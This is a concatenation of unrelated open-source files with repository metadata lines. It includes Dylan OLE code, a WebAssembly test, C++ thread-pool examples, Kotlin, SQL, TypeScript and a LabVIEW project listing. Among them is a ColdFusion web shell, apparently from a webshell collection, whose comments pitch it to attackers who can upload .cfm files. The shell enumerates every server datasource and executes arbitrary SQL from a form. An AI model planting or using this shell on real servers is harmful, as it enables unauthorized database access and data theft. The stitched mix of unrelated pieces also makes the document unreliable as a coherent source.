singleton(<C-both-unsigned-long>),
singleton(<C-raw-unsigned-long>),
singleton(<C-both-signed-long>)),
t :: <LPTYPEDESC> )
=> direction-flags :: <U16>;
t.vt-value := vt-from-type(class);
$IDLFLAG-FIN
end method set-typedesc;
define method set-typedesc( class :: subclass(<string>), t :: <LPTYPEDESC> )
=> direction-flags :: <U16>;
// Any <string> will be converted to a <BSTR>; it has to be copied anyway,
// so there is no point in requiring the user to explicitly use <BSTR>.
t.vt-value := $VT-BSTR;
$IDLFLAG-FIN
end method set-typedesc;
define method set-typedesc( class :: subclass(<array>), t :: <LPTYPEDESC> )
=> direction-flags :: <U16>;
error("%= is not a valid C type designator;\n"
"use ole-array-type(element-type)", class);
t.vt-value := $VT-EMPTY;
$IDLFLAG-FIN
end method set-typedesc;
define method set-typedesc( class == <object>, t :: <LPTYPEDESC> )
=> direction-flags :: <U16>;
// Map the Dylan representation of unrestricted type to the
// OLE representation of unrestricted type. This may be controversial???
t.vt-value := $VT-VARIANT;
$IDLFLAG-FIN
end method set-typedesc;
define method set-typedesc( typedescr :: <array-type-description>,
t :: <LPTYPEDESC> )
=> (direction-flags :: <U16>);
t.vt-value := $VT-SAFEARRAY;
let eltyp = typedescr.element-type;
t.u-value.lptdesc-value := as-typedesc(eltyp);
$IDLFLAG-FIN
end method set-typedesc;
define method set-typedesc( typedescr :: <LPTYPEDESC>, t :: <LPTYPEDESC> )
=> (direction-flags :: <U16>);
let vt :: <integer> = typedescr.vt-value;
t.vt-value := vt;
t.u-value.lptdesc-value := typedescr.u-value.lptdesc-value;
/* // If we supported deallocation of the lptdesc-value field, then we
// would want to do the following instead.
t.u-value.lptdesc-value :=
if ( vt < $VT-PTR | vt > $VT-SAFEARRAY )
null-pointer(<LPTYPEDESC>)
else
// copy so we won't deallocate the original
as-typedesc(typedescr.u-value.lptdesc-value)
end if;
// Oh, but what if we have a user-created structure that uses the
// lpadesc-value or hreftype-value fields?
*/
$IDLFLAG-FIN
end method set-typedesc;
// Since TYPEDESC structures aren't getting deallocated, cache them to
// avoid duplication:
define variable *typedesc-cache* :: false-or(<table>) = #f;
// Doing this instead of adding a method to `as' in order to make it easier
// to keep track of where this is being used.
define generic as-typedesc (type) => (v :: <LPTYPEDESC>);
define method as-typedesc(type :: <object>) => v :: <LPTYPEDESC>;
element(*typedesc-cache* | (*typedesc-cache* := make(<table>)),
type, default: #f) |
begin
let td :: <LPTYPEDESC> = make(<LPTYPEDESC>);
set-typedesc(type, td);
element(*typedesc-cache*, type) := td;
td
end
end method;
define method as-typedesc(td :: <LPTYPEDESC>) => v :: <LPTYPEDESC>;
td
/* // If we supported deallocation of the lptdesc-value field, we would
// want to do it the following way instead.
if ( null-pointer?(td) )
td
else
next-method() // make a copy
end if
*/
end method;
| Dylan | 5 | kryptine/opendylan | sources/ole/win32-automation/variant.dylan | [
"BSD-2-Clause"
] |
(module
(type $none_=>_i32 (func (result i32)))
(memory $0 1)
(data (i32.const 1036) "\1c")
(data (i32.const 1048) "\01\00\00\00\0c\00\00\00a\00b\00i\00.\00t\00s")
(export "exported" (func $abi/exported))
(export "exportedExported" (func $abi/exported))
(export "exportedInternal" (func $abi/exported))
(export "memory" (memory $0))
(func $abi/exported (result i32)
i32.const -128
)
)
| WebAssembly | 3 | romdotdog/assemblyscript | tests/compiler/abi.optimized.wat | [
"Apache-2.0"
] |
<!-- foldFusion page by lawKnee -->
<!-- useful when you can upload cfm and would like to talk to all db's avail -->
<!-- but dont want to (or can't) connect from the OS -->
<!-- this page uses ServiceFactory to auto-enum all datasources on the instance -->
<!-- only works on CF8 and below, but unpatched CF9 should work too -->
<html>
<body>
<p><b>Notes:</b></p>
<ul>
<li>Select the database you want to use</li>
<li>Write SQL statements in the text box</li>
</ul>
<form method="POST" action="">
<p><b>SQL Interface:</b></p>
Datasource<br>
<select name="datasource">
<cfscript>
dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
getDatasourceService().getDatasources();
for(i in dataSourceObb) {
writeoutput('<option value="' & i & '">' & i & '</option>');
}
</cfscript>
</select>
<br>
SQL<br>
<textarea name="sql" rows="5" cols="100"></textarea>
<br>
<input type=submit value="Exec">
</form>
<cfif isdefined("form.sql")>
<cfquery name="runsql" datasource="#Form.datasource#" timeout="30">
#Form.sql#
</cfquery>
</cfif>
<table border=1>
<cfif isdefined("form.sql")>
<cfloop from="0" to="#runsql.RecordCount#" index="row">
<cfif row eq 0>
<tr>
<cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
<th><cfoutput>#column#</cfoutput></th>
</cfloop>
</tr>
<cfelse>
<tr>
<cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
<td><cfoutput>#runsql[column][row]#</cfoutput></td>
</cfloop>
</tr>
</cfif>
</cfloop>
</cfif>
</table>
</body>
</html> | ColdFusion | 4 | laotun-s/webshell | fuzzdb-webshell/cfm/cfSQL.cfm | [
"MIT"
] |
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"><path d="M5.5 4c1 0 1.5.5 1.5 1.5v5c0 1-.5 1.5-1.5 1.5h-3c-1 0-1.5-.5-1.5-1.5v-5C1 4.5 1.5 4 2.5 4zM7 0v.5C7 1.5 6.5 2 5.5 2h-3C1.5 2 1 1.5 1 .5V0h6zM7 16v-.5c0-1-.5-1.5-1.5-1.5h-3c-1 0-1.5.5-1.5 1.5v.5h6zM13.5 4c1 0 1.5.5 1.5 1.5v5c0 1-.5 1.5-1.5 1.5h-3c-1 0-1.5-.5-1.5-1.5v-5c0-1 .5-1.5 1.5-1.5zM15 0v.5c0 1-.5 1.5-1.5 1.5h-3C9.5 2 9 1.5 9 .5V0h6zM15 16v-.507c0-1-.5-1.5-1.5-1.5h-3C9.5 14 9 14.5 9 15.5v.5h6z"/></svg> | SVG | 1 | MMeent/pdf.js | web/images/secondaryToolbarButton-scrollWrapped.svg | [
"Apache-2.0"
] |
This is en__zh example 1
这是en__zh例子1
1279257697000,en zh,tuid-0001
This is en__zh example 2
这是en__zh例子2
1279257697000,en zh-CN,tuid-0002
This is en__zh example 3
这是en__zh例子3
1279257697000,en zh-XX,tuid-0003
This is en__zh example 4
这是en__zh例子4
1279257697000,en zh-TW,tuid-0004
This is en__zh example 5
这是en__zh例子5
1279257697000,en zh-HK,tuid-0005
This is en__zh example 6
这是en__zh例子6
1279257697000,en-US zh-HK,tuid-0006
这是en__zh例子7
This is en__zh example 7
1279257697000,zh en,tuid-0007
这是en__zh例子8
This is en__zh example 8
1279257697000,zh-CN en,tuid-0008
这是en__zh例子9
This is en__zh example 9
1279257697000,zh-XX en,tuid-0009
这是en__zh例子10
This is en__zh example 10
1279257697000,zh-TW en,tuid-0010
这是en__zh例子11
This is en__zh example 11
1279257697000,zh-HK en,tuid-0011
这是en__zh例子12
This is en__zh example 12
1279257697000,zh-HK en-US,tuid-0012 | ColdFusion CFC | 1 | Centaurioun/modernmt | test/testcases/res/onlinelearning/Memory.en__zh.cfc | [
"Apache-2.0"
] |
color hsv(55, 200, 200)
stroke 11
push
o: (TIME % 3000) / 3000
i: map(o, 0, 1, 0, TWO_PI)
move sin(i)*2,0,cos(i)*8
cone 0.3, 0.5
pop
| Cycript | 3 | marcinbiegun/creativecoding-sketches | Cyril/data/code_old/1.cy | [
"MIT"
] |
<GameProjectFile>
<PropertyGroup Type="Scene" Name="TestArmatureNode" ID="38066ea4-9551-409c-ac41-663c8a6f9cef" Version="2.1.0.0" />
<Content ctype="GameProjectContent">
<Content>
<Animation Duration="56" Speed="1.0000">
<Timeline ActionTag="-776642477" Property="Position">
<PointFrame FrameIndex="0" X="243.6724" Y="145.0002" />
<PointFrame FrameIndex="56" X="25.0000" Y="20.0000" />
</Timeline>
</Animation>
<ObjectData Name="Scene" FrameEvent="" RightMargin="-480.0000" TopMargin="-320.0000" ctype="SingleNodeObjectData">
<Position X="0.0000" Y="0.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="480.0000" Y="320.0000" />
<PrePosition X="0.0000" Y="0.0000" />
<PreSize X="0.0000" Y="0.0000" />
<Children>
<NodeObjectData Name="ArmatureNode_1" ActionTag="-776642477" FrameEvent="" Tag="3" ObjectIndex="1" IconVisible="True" LeftMargin="243.6724" RightMargin="236.3276" TopMargin="174.9998" BottomMargin="145.0002" IsLoop="True" IsAutoPlay="True" CurrentAnimationName="walk" ctype="ArmatureNodeObjectData">
<Position X="243.6724" Y="145.0002" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="0.0000" Y="0.0000" />
<PrePosition X="0.5077" Y="0.4531" />
<PreSize X="0.0000" Y="0.0000" />
<FileData Type="Default" Path="Default/DemoPlayer.ExportJson" />
</NodeObjectData>
</Children>
</ObjectData>
</Content>
</Content>
</GameProjectFile> | Csound | 3 | dum999/CocosStudioSamples | CocosStudioProjects/TestArmatureNode/cocosstudio/TestArmatureNode.csd | [
"MIT"
] |
#include <ctpl.h>
#include <iostream>
#include <string>
void first(int id) { std::cout << "hello from " << id << ", function\n"; }
void aga(int id, int par) {
std::cout << "hello from " << id << ", function with parameter " << par
<< '\n';
}
struct Third {
Third(int v) {
this->v = v;
std::cout << "Third ctor " << this->v << '\n';
}
Third(Third &&c) {
this->v = c.v;
std::cout << "Third move ctor\n";
}
Third(const Third &c) {
this->v = c.v;
std::cout << "Third copy ctor\n";
}
~Third() { std::cout << "Third dtor\n"; }
int v;
};
void mmm(int id, const std::string &s) {
std::cout << "mmm function " << id << ' ' << s << '\n';
}
void ugu(int id, Third &t) {
std::this_thread::sleep_for(std::chrono::milliseconds(2000));
std::cout << "hello from " << id << ", function with parameter Third " << t.v
<< '\n';
}
int main(int argc, char **argv) {
ctpl::thread_pool p(2 /* two threads in the pool */);
std::future<void> qw = p.push(std::ref(first)); // function
p.push(first); // function
p.push(aga, 7); // function
{
struct Second {
Second(const std::string &cs) : s(cs) { std::cout << "Second ctor\n"; }
Second(Second &&c) : s(std::move(c.s)) {
std::cout << "Second move ctor\n";
}
Second(const Second &c) : s(c.s) { std::cout << "Second copy ctor\n"; };
~Second() { std::cout << "Second dtor\n"; }
void operator()(int id) const {
std::cout << "hello from " << id << ' ' << this->s << '\n';
}
private:
std::string s;
} second(", functor");
p.push(std::ref(second)); // functor, reference
std::this_thread::sleep_for(std::chrono::milliseconds(2000));
p.push(const_cast<const Second &>(second)); // functor, copy ctor
p.push(std::move(second)); // functor, move ctor
p.push(second); // functor, move ctor
p.push(Second(", functor")); // functor, move ctor
}
{
Third t(100);
p.push(ugu, std::ref(t)); // function. reference
p.push(ugu, t); // function. copy ctor, move ctor
p.push(ugu, std::move(t)); // function. move ctor, move ctor
}
p.push(ugu, Third(200)); // function
std::string s = ", lambda";
p.push([s](int id) { // lambda
std::this_thread::sleep_for(std::chrono::milliseconds(2000));
std::cout << "hello from " << id << ' ' << s << '\n';
});
p.push([s](int id) { // lambda
std::this_thread::sleep_for(std::chrono::milliseconds(2000));
std::cout << "hello from " << id << ' ' << s << '\n';
});
p.push(mmm, "worked");
auto f = p.pop();
if (f) {
std::cout << "poped function from the pool ";
f(0);
}
// change the number of treads in the pool
p.resize(1);
std::string s2 = "result";
auto f1 = p.push([s2](int) { return s2; });
// other code here
//...
std::cout << "returned " << f1.get() << '\n';
auto f2 = p.push([](int) { throw std::exception(); });
// other code here
//...
try {
f2.get();
} catch (std::exception &e) {
std::cout << "caught exception\n";
}
// get thread 0
auto &th = p.get_thread(0);
return 0;
}
| C++ | 4 | jzjonah/apollo | modules/perception/tool/benchmark/lidar/ctpl/example.cpp | [
"Apache-2.0"
] |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
import { registerSingleton } from 'vs/platform/instantiation/common/extensions';
import { TitlebarPart } from 'vs/workbench/electron-sandbox/parts/titlebar/titlebarPart';
import { ITitleService } from 'vs/workbench/services/title/common/titleService';
registerSingleton(ITitleService, TitlebarPart);
| TypeScript | 4 | sbj42/vscode | src/vs/workbench/services/title/electron-sandbox/titleService.ts | [
"MIT"
] |
DROP TABLE "public"."table50";
DROP TABLE "public"."table49";
DROP TABLE "public"."table48";
DROP TABLE "public"."table47";
DROP TABLE "public"."table46";
DROP TABLE "public"."table45";
DROP TABLE "public"."table44";
DROP TABLE "public"."table43";
DROP TABLE "public"."table42";
DROP TABLE "public"."table41";
DROP TABLE "public"."table40";
DROP TABLE "public"."table39";
DROP TABLE "public"."table38";
DROP TABLE "public"."table37";
DROP TABLE "public"."table36";
DROP TABLE "public"."table35";
DROP TABLE "public"."table34";
DROP TABLE "public"."table33";
DROP TABLE "public"."table32";
DROP TABLE "public"."table31";
DROP TABLE "public"."table30";
| SQL | 1 | eazyfin/graphql-engine | cli/commands/testdata/migrate-squash-test/want_from.down.sql | [
"Apache-2.0",
"MIT"
] |
suspend fun dummy() {}
class C {
suspend fun dummy() = "OK"
}
class WithNested {
class Nested {
suspend fun dummy() = "OK"
}
}
class WithInner {
inner class Inner {
suspend fun dummy() = "OK"
}
}
fun builder(c: suspend () -> Unit) {}
fun builder2(c: suspend Int.(String) -> Unit) {}
fun (suspend (Int) -> Unit).start() {}
suspend fun suspendAcceptsSuspend(x: suspend () -> Unit) {}
| Kotlin | 4 | AndrewReitz/kotlin | compiler/testData/compileKotlinAgainstCustomBinaries/experimentalCoroutineCallFromReleaseWarnings/library/experimental.kt | [
"ECL-2.0",
"Apache-2.0"
] |
/// <reference types="node"/>
import './browser_symbol_setup';
import './test_fake_polyfill';
import './wtf_mock';
import './test-env-setup-jasmine';
| TypeScript | 1 | coreyscherbing/angular | packages/zone.js/test/browser-env-setup.ts | [
"MIT"
] |
<?xml version='1.0' encoding='UTF-8'?>
<Project Type="Project" LVVersion="14008000">
<Property Name="NI.LV.All.SourceOnly" Type="Bool">true</Property>
<Property Name="SMProvider.SMVersion" Type="Int">201310</Property>
<Item Name="My Computer" Type="My Computer">
<Property Name="IOScan.Faults" Type="Str"></Property>
<Property Name="IOScan.NetVarPeriod" Type="UInt">100</Property>
<Property Name="IOScan.NetWatchdogEnabled" Type="Bool">false</Property>
<Property Name="IOScan.Period" Type="UInt">10000</Property>
<Property Name="IOScan.PowerupMode" Type="UInt">0</Property>
<Property Name="IOScan.Priority" Type="UInt">9</Property>
<Property Name="IOScan.ReportModeConflict" Type="Bool">true</Property>
<Property Name="IOScan.StartEngineOnDeploy" Type="Bool">false</Property>
<Property Name="server.app.propertiesEnabled" Type="Bool">true</Property>
<Property Name="server.control.propertiesEnabled" Type="Bool">true</Property>
<Property Name="server.tcp.enabled" Type="Bool">false</Property>
<Property Name="server.tcp.port" Type="Int">0</Property>
<Property Name="server.tcp.serviceName" Type="Str">My Computer/VI Server</Property>
<Property Name="server.tcp.serviceName.default" Type="Str">My Computer/VI Server</Property>
<Property Name="server.vi.callsEnabled" Type="Bool">true</Property>
<Property Name="server.vi.propertiesEnabled" Type="Bool">true</Property>
<Property Name="specify.custom.address" Type="Bool">false</Property>
<Item Name="Glyphs" Type="Folder">
<Item Name="AC_Volts.png" Type="Document" URL="../Glyphs/AC_Volts.png"/>
<Item Name="analog.png" Type="Document" URL="../Glyphs/analog.png"/>
<Item Name="ApplicationIcon.ico" Type="Document" URL="../Glyphs/ApplicationIcon.ico"/>
<Item Name="applications-system-3.png" Type="Document" URL="../Glyphs/applications-system-3.png"/>
<Item Name="Async.png" Type="Document" URL="../Glyphs/Async.png"/>
<Item Name="Axis.png" Type="Document" URL="../Glyphs/Axis.png"/>
<Item Name="ChnGroup.png" Type="Document" URL="../Glyphs/ChnGroup.png"/>
<Item Name="ChnTime.png" Type="Document" URL="../Glyphs/ChnTime.png"/>
<Item Name="ChnWave.png" Type="Document" URL="../Glyphs/ChnWave.png"/>
<Item Name="choice.png" Type="Document" URL="../Glyphs/choice.png"/>
<Item Name="Confine_Window.png" Type="Document" URL="../Glyphs/Confine_Window.png"/>
<Item Name="cRIO.png" Type="Document" URL="../Glyphs/cRIO.png"/>
<Item Name="cRIO_Controller.png" Type="Document" URL="../Glyphs/cRIO_Controller.png"/>
<Item Name="cRIO_Network_Controller.png" Type="Document" URL="../Glyphs/cRIO_Network_Controller.png"/>
<Item Name="cRIOEmbeddedChassis.png" Type="Document" URL="../Glyphs/cRIOEmbeddedChassis.png"/>
<Item Name="Current.png" Type="Document" URL="../Glyphs/Current.png"/>
<Item Name="DC_Volts.png" Type="Document" URL="../Glyphs/DC_Volts.png"/>
<Item Name="Error.png" Type="Document" URL="../Glyphs/Error.png"/>
<Item Name="ethernet.png" Type="Document" URL="../Glyphs/ethernet.png"/>
<Item Name="Folder.png" Type="Document" URL="../Glyphs/Folder.png"/>
<Item Name="Gear.ico" Type="Document" URL="../Glyphs/Gear.ico"/>
<Item Name="Gear.png" Type="Document" URL="../Glyphs/Gear.png"/>
<Item Name="Normal.png" Type="Document" URL="../Glyphs/Normal.png"/>
<Item Name="PC.png" Type="Document" URL="../Glyphs/PC.png"/>
<Item Name="Resource.png" Type="Document" URL="../Glyphs/Resource.png"/>
<Item Name="rotation2.png" Type="Document" URL="../Glyphs/rotation2.png"/>
<Item Name="steps.png" Type="Document" URL="../Glyphs/steps.png"/>
<Item Name="System.png" Type="Document" URL="../Glyphs/System.png"/>
<Item Name="task.png" Type="Document" URL="../Glyphs/task.png"/>
<Item Name="temp.png" Type="Document" URL="../Glyphs/temp.png"/>
<Item Name="velocity.png" Type="Document" URL="../Glyphs/velocity.png"/>
</Item>
<Item Name="Standard Editor.lvlib" Type="Library" URL="../Standard Editor.lvlib"/>
<Item Name="Dependencies" Type="Dependencies">
<Item Name="vi.lib" Type="Folder">
<Item Name="8.6CompatibleGlobalVar.vi" Type="VI" URL="/<vilib>/Utility/config.llb/8.6CompatibleGlobalVar.vi"/>
<Item Name="Acquire Semaphore.vi" Type="VI" URL="/<vilib>/Utility/semaphor.llb/Acquire Semaphore.vi"/>
<Item Name="AddNamedRendezvousPrefix.vi" Type="VI" URL="/<vilib>/Utility/rendezvs.llb/AddNamedRendezvousPrefix.vi"/>
<Item Name="AddNamedSemaphorePrefix.vi" Type="VI" URL="/<vilib>/Utility/semaphor.llb/AddNamedSemaphorePrefix.vi"/>
<Item Name="AMC.lvlib" Type="Library" URL="/<vilib>/NI/AMC/AMC.lvlib"/>
<Item Name="Application Directory.vi" Type="VI" URL="/<vilib>/Utility/file.llb/Application Directory.vi"/>
<Item Name="Bit-array To Byte-array.vi" Type="VI" URL="/<vilib>/picture/pictutil.llb/Bit-array To Byte-array.vi"/>
<Item Name="BuildHelpPath.vi" Type="VI" URL="/<vilib>/Utility/error.llb/BuildHelpPath.vi"/>
<Item Name="Check if File or Folder Exists.vi" Type="VI" URL="/<vilib>/Utility/libraryn.llb/Check if File or Folder Exists.vi"/>
<Item Name="Check Path.vi" Type="VI" URL="/<vilib>/picture/jpeg.llb/Check Path.vi"/>
<Item Name="Check Special Tags.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Check Special Tags.vi"/>
<Item Name="class discovery singleton.lvlib" Type="Library" URL="/<vilib>/NI/Configuration Framework/class discovery singleton/class discovery singleton.lvlib"/>
<Item Name="Clear Errors.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Clear Errors.vi"/>
<Item Name="Close File+.vi" Type="VI" URL="/<vilib>/Utility/file.llb/Close File+.vi"/>
<Item Name="Close Panel.vi" Type="VI" URL="/<vilib>/Utility/victl.llb/Close Panel.vi"/>
<Item Name="compatCalcOffset.vi" Type="VI" URL="/<vilib>/_oldvers/_oldvers.llb/compatCalcOffset.vi"/>
<Item Name="compatFileDialog.vi" Type="VI" URL="/<vilib>/_oldvers/_oldvers.llb/compatFileDialog.vi"/>
<Item Name="compatReadText.vi" Type="VI" URL="/<vilib>/_oldvers/_oldvers.llb/compatReadText.vi"/>
<Item Name="Convert property node font to graphics font.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Convert property node font to graphics font.vi"/>
<Item Name="Create Mask By Alpha.vi" Type="VI" URL="/<vilib>/picture/picture.llb/Create Mask By Alpha.vi"/>
<Item Name="Create New Rendezvous.vi" Type="VI" URL="/<vilib>/Utility/rendezvs.llb/Create New Rendezvous.vi"/>
<Item Name="Create Rendezvous.vi" Type="VI" URL="/<vilib>/Utility/rendezvs.llb/Create Rendezvous.vi"/>
<Item Name="Create Semaphore.vi" Type="VI" URL="/<vilib>/Utility/semaphor.llb/Create Semaphore.vi"/>
<Item Name="DCAF UI Elements.lvlib" Type="Library" URL="/<vilib>/NI/DCAF UI Toolkit/Controls/DCAF UI Elements.lvlib"/>
<Item Name="Destroy Semaphore.vi" Type="VI" URL="/<vilib>/Utility/semaphor.llb/Destroy Semaphore.vi"/>
<Item Name="Details Display Dialog.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Details Display Dialog.vi"/>
<Item Name="Dflt Data Dir.vi" Type="VI" URL="/<vilib>/Utility/file.llb/Dflt Data Dir.vi"/>
<Item Name="DialogType.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/DialogType.ctl"/>
<Item Name="DialogTypeEnum.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/DialogTypeEnum.ctl"/>
<Item Name="Directory of Top Level VI.vi" Type="VI" URL="/<vilib>/picture/jpeg.llb/Directory of Top Level VI.vi"/>
<Item Name="Draw Flattened Pixmap.vi" Type="VI" URL="/<vilib>/picture/picture.llb/Draw Flattened Pixmap.vi"/>
<Item Name="engine configuration.lvclass" Type="LVClass" URL="/<vilib>/NI/Module Execution Interface/Engine Configuration/engine configuration.lvclass"/>
<Item Name="Engine Runtime Interface.lvclass" Type="LVClass" URL="/<vilib>/NI/Module Execution Interface/Engine Runtime/Engine Runtime Interface.lvclass"/>
<Item Name="Error Cluster From Error Code.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Error Cluster From Error Code.vi"/>
<Item Name="Error Code Database.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Error Code Database.vi"/>
<Item Name="ErrWarn.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/ErrWarn.ctl"/>
<Item Name="Escape Characters for HTTP.vi" Type="VI" URL="/<vilib>/printing/PathToURL.llb/Escape Characters for HTTP.vi"/>
<Item Name="eventvkey.ctl" Type="VI" URL="/<vilib>/event_ctls.llb/eventvkey.ctl"/>
<Item Name="ex_CorrectErrorChain.vi" Type="VI" URL="/<vilib>/express/express shared/ex_CorrectErrorChain.vi"/>
<Item Name="Find First Error.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Find First Error.vi"/>
<Item Name="Find Tag.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Find Tag.vi"/>
<Item Name="FixBadRect.vi" Type="VI" URL="/<vilib>/picture/pictutil.llb/FixBadRect.vi"/>
<Item Name="Format Message String.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Format Message String.vi"/>
<Item Name="General Error Handler Core CORE.vi" Type="VI" URL="/<vilib>/Utility/error.llb/General Error Handler Core CORE.vi"/>
<Item Name="General Error Handler.vi" Type="VI" URL="/<vilib>/Utility/error.llb/General Error Handler.vi"/>
<Item Name="Get File Extension.vi" Type="VI" URL="/<vilib>/Utility/libraryn.llb/Get File Extension.vi"/>
<Item Name="Get LV Class Default Value By Name.vi" Type="VI" URL="/<vilib>/Utility/LVClass/Get LV Class Default Value By Name.vi"/>
<Item Name="Get LV Class Default Value.vi" Type="VI" URL="/<vilib>/Utility/LVClass/Get LV Class Default Value.vi"/>
<Item Name="Get LV Class Name.vi" Type="VI" URL="/<vilib>/Utility/LVClass/Get LV Class Name.vi"/>
<Item Name="Get LV Class Path.vi" Type="VI" URL="/<vilib>/Utility/LVClass/Get LV Class Path.vi"/>
<Item Name="Get Semaphore Status.vi" Type="VI" URL="/<vilib>/Utility/semaphor.llb/Get Semaphore Status.vi"/>
<Item Name="Get String Text Bounds.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Get String Text Bounds.vi"/>
<Item Name="Get Text Rect.vi" Type="VI" URL="/<vilib>/picture/picture.llb/Get Text Rect.vi"/>
<Item Name="GetHelpDir.vi" Type="VI" URL="/<vilib>/Utility/error.llb/GetHelpDir.vi"/>
<Item Name="GetNamedRendezvousPrefix.vi" Type="VI" URL="/<vilib>/Utility/rendezvs.llb/GetNamedRendezvousPrefix.vi"/>
<Item Name="GetNamedSemaphorePrefix.vi" Type="VI" URL="/<vilib>/Utility/semaphor.llb/GetNamedSemaphorePrefix.vi"/>
<Item Name="GetRTHostConnectedProp.vi" Type="VI" URL="/<vilib>/Utility/error.llb/GetRTHostConnectedProp.vi"/>
<Item Name="glyph manager.lvlib" Type="Library" URL="/<vilib>/NI/Configuration Framework/glyph manager/glyph manager.lvlib"/>
<Item Name="imagedata.ctl" Type="VI" URL="/<vilib>/picture/picture.llb/imagedata.ctl"/>
<Item Name="List Directory and LLBs.vi" Type="VI" URL="/<vilib>/Utility/libraryn.llb/List Directory and LLBs.vi"/>
<Item Name="Longest Line Length in Pixels.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Longest Line Length in Pixels.vi"/>
<Item Name="LVBoundsTypeDef.ctl" Type="VI" URL="/<vilib>/Utility/miscctls.llb/LVBoundsTypeDef.ctl"/>
<Item Name="LVMenuShortCut.ctl" Type="VI" URL="/<vilib>/Utility/miscctls.llb/LVMenuShortCut.ctl"/>
<Item Name="LVPointTypeDef.ctl" Type="VI" URL="/<vilib>/Utility/miscctls.llb/LVPointTypeDef.ctl"/>
<Item Name="LVPositionTypeDef.ctl" Type="VI" URL="/<vilib>/Utility/miscctls.llb/LVPositionTypeDef.ctl"/>
<Item Name="LVRectTypeDef.ctl" Type="VI" URL="/<vilib>/Utility/miscctls.llb/LVRectTypeDef.ctl"/>
<Item Name="LVRowAndColumnTypeDef.ctl" Type="VI" URL="/<vilib>/Utility/miscctls.llb/LVRowAndColumnTypeDef.ctl"/>
<Item Name="ms timing source.lvclass" Type="LVClass" URL="/<vilib>/NI/Module Timing Source/standard timing source/ms timing source.lvclass"/>
<Item Name="NI_FileType.lvlib" Type="Library" URL="/<vilib>/Utility/lvfile.llb/NI_FileType.lvlib"/>
<Item Name="NI_FTP.lvlib" Type="Library" URL="/<vilib>/FTP/NI_FTP.lvlib"/>
<Item Name="NI_LVConfig.lvlib" Type="Library" URL="/<vilib>/Utility/config.llb/NI_LVConfig.lvlib"/>
<Item Name="NI_PackedLibraryUtility.lvlib" Type="Library" URL="/<vilib>/Utility/LVLibp/NI_PackedLibraryUtility.lvlib"/>
<Item Name="NISE_CEF_HierarchyRepo.lvclass" Type="LVClass" URL="/<vilib>/NI/Configuration Framework/hierarchy repo/NISE_CEF_HierarchyRepo.lvclass"/>
<Item Name="NISE_CEF_Node.lvclass" Type="LVClass" URL="/<vilib>/NI/Configuration Framework/Node/NISE_CEF_Node.lvclass"/>
<Item Name="NISE_CEF_Repository.lvclass" Type="LVClass" URL="/<vilib>/NI/Configuration Framework/Repository/NISE_CEF_Repository.lvclass"/>
<Item Name="NISE_CEF_serializable configuration.lvclass" Type="LVClass" URL="/<vilib>/NI/Configuration Framework/serializable configuration/NISE_CEF_serializable configuration.lvclass"/>
<Item Name="NISE_CEF_serializable node.lvclass" Type="LVClass" URL="/<vilib>/NI/Configuration Framework/serializable node/NISE_CEF_serializable node.lvclass"/>
<Item Name="NISE_CEF_TreeControl.lvlib" Type="Library" URL="/<vilib>/NI/Configuration Framework/NISE_CEF_TreeControl.lvlib"/>
<Item Name="NISE_CEF_TreeSerializer.lvlib" Type="Library" URL="/<vilib>/NI/Configuration Framework/tree serializer/NISE_CEF_TreeSerializer.lvlib"/>
<Item Name="NISE_error generator.vi" Type="VI" URL="/<vilib>/NI/Configuration Framework/error generator/NISE_error generator.vi"/>
<Item Name="Not A Rendezvous.vi" Type="VI" URL="/<vilib>/Utility/rendezvs.llb/Not A Rendezvous.vi"/>
<Item Name="Not A Semaphore.vi" Type="VI" URL="/<vilib>/Utility/semaphor.llb/Not A Semaphore.vi"/>
<Item Name="Not Found Dialog.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Not Found Dialog.vi"/>
<Item Name="Obtain Semaphore Reference.vi" Type="VI" URL="/<vilib>/Utility/semaphor.llb/Obtain Semaphore Reference.vi"/>
<Item Name="Open File+.vi" Type="VI" URL="/<vilib>/Utility/file.llb/Open File+.vi"/>
<Item Name="Open Panel.vi" Type="VI" URL="/<vilib>/Utility/victl.llb/Open Panel.vi"/>
<Item Name="Open URL in Default Browser (path).vi" Type="VI" URL="/<vilib>/Platform/browser.llb/Open URL in Default Browser (path).vi"/>
<Item Name="Open URL in Default Browser (string).vi" Type="VI" URL="/<vilib>/Platform/browser.llb/Open URL in Default Browser (string).vi"/>
<Item Name="Open URL in Default Browser core.vi" Type="VI" URL="/<vilib>/Platform/browser.llb/Open URL in Default Browser core.vi"/>
<Item Name="Open URL in Default Browser.vi" Type="VI" URL="/<vilib>/Platform/browser.llb/Open URL in Default Browser.vi"/>
<Item Name="Path to URL.vi" Type="VI" URL="/<vilib>/printing/PathToURL.llb/Path to URL.vi"/>
<Item Name="Picture to Pixmap.vi" Type="VI" URL="/<vilib>/picture/pictutil.llb/Picture to Pixmap.vi"/>
<Item Name="Progress Bar.lvlib" Type="Library" URL="/<vilib>/NI/Progress Bar/Progress Bar.lvlib"/>
<Item Name="Read File+ (string).vi" Type="VI" URL="/<vilib>/Utility/file.llb/Read File+ (string).vi"/>
<Item Name="Read PNG File.vi" Type="VI" URL="/<vilib>/picture/png.llb/Read PNG File.vi"/>
